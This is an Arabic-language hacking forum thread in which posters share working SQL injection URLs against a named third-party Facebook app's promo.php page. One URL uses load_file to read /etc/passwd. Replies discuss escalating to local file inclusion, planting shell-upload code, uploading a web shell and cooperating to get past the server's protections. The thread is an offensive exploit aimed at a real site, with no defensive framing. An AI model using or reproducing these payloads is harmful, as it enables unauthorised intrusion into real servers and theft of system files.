~ facebook sql Injection xD ~

[Dr.NaNo]

:biggrin:

http://apps.facebook.com/myhotdeals/promo.php?promoid=150+and+1=2+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--

:biggrin: /etc/passwd

http://apps.facebook.com/myhotdeals/promo.php?promoid=150+and+1=2+union+all+select+1,2,3,4,5,load_file%28%27/etc/passwd%27%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--

لازم نطورهــــــآأ هع :biggrin:







​

بالتوفيــــــٌق
​

 

[kanvi]

تفضل اخي و قمت بشرح عملية الحقن

اختـــــــــــراق سرفـــــــــير app.facebook​

 

[X HuNter]

cool

 

[Dr.NaNo]

تفضل اخي و قمت بشرح عملية الحقن

اختـــــــــــراق سرفـــــــــير app.facebook​

اهلين اخي نورت الموضوع ..


بالنسبه ياغالي انت اخترقت الـ app facebook او حقنته او نسخت الروابط تبع الحقن من المنتديات

لان جميع ثغرات السكربتات الي في الفي سبوك كلها في مواقع السكيورتي ..:d


وانا جبت الروابط عشان نطورها فقط لا غير ..


والي يهمنا في الموضوع الحقـنه الثانيه الي هي .:

   http://apps.facebook.com/myhotdeals/promo.php?promoid=150+and+1=2+union+all+select+1,2,3,4,5,load_file%28%27/etc/passwd%27%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--

لان نقدر .. نغير الـ sql إلـى lfi ونزرع كود رفع الشل ونرفع الشل بس الي بوقف امامنا بعض حمايات السيرفر

ولما نكون مع بعض نفكر ونتخطى الحمايات فلسطين



بالتوفيــق

 

[Dr.NaNo]

cool

شكرأ ..



اللهـم إني صايـم .


بالتوفيق

 

[kanvi]

اهلين اخي نورت الموضوع ..


بالنسبه ياغالي انت اخترقت الـ app facebook او حقنته او نسخت الروابط تبع الحقن من المنتديات

لان جميع ثغرات السكربتات الي في الفي سبوك كلها في مواقع السكيورتي ..:d


وانا جبت الروابط عشان نطورها فقط لا غير ..


والي يهمنا في الموضوع الحقـنه الثانيه الي هي .:

   http://apps.facebook.com/myhotdeals/promo.php?promoid=150+and+1=2+union+all+select+1,2,3,4,5,load_file%28%27/etc/passwd%27%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--

لان نقدر .. نغير الـ sql إلـى lfi ونزرع كود رفع الشل ونرفع الشل بس الي بوقف امامنا بعض حمايات السيرفر

ولما نكون مع بعض نفكر ونتخطى الحمايات فلسطين



بالتوفيــق

بارك الله فيك اخي العزيز

نعم الثغرة مشروحة في مواقع السكريتي وهي ثغرة في تطبيقات app.facebook
وليست ثغرة facebook

يعني اذا رفعة الشل ستجده في موقع اخر وليس على
الفيس بوك

في انتظر التطوير الثغرةفلسطين
في امان الله
​

 

[shapola]

شكراااا يا رجالة ...... و احلى تقيم ليكم .....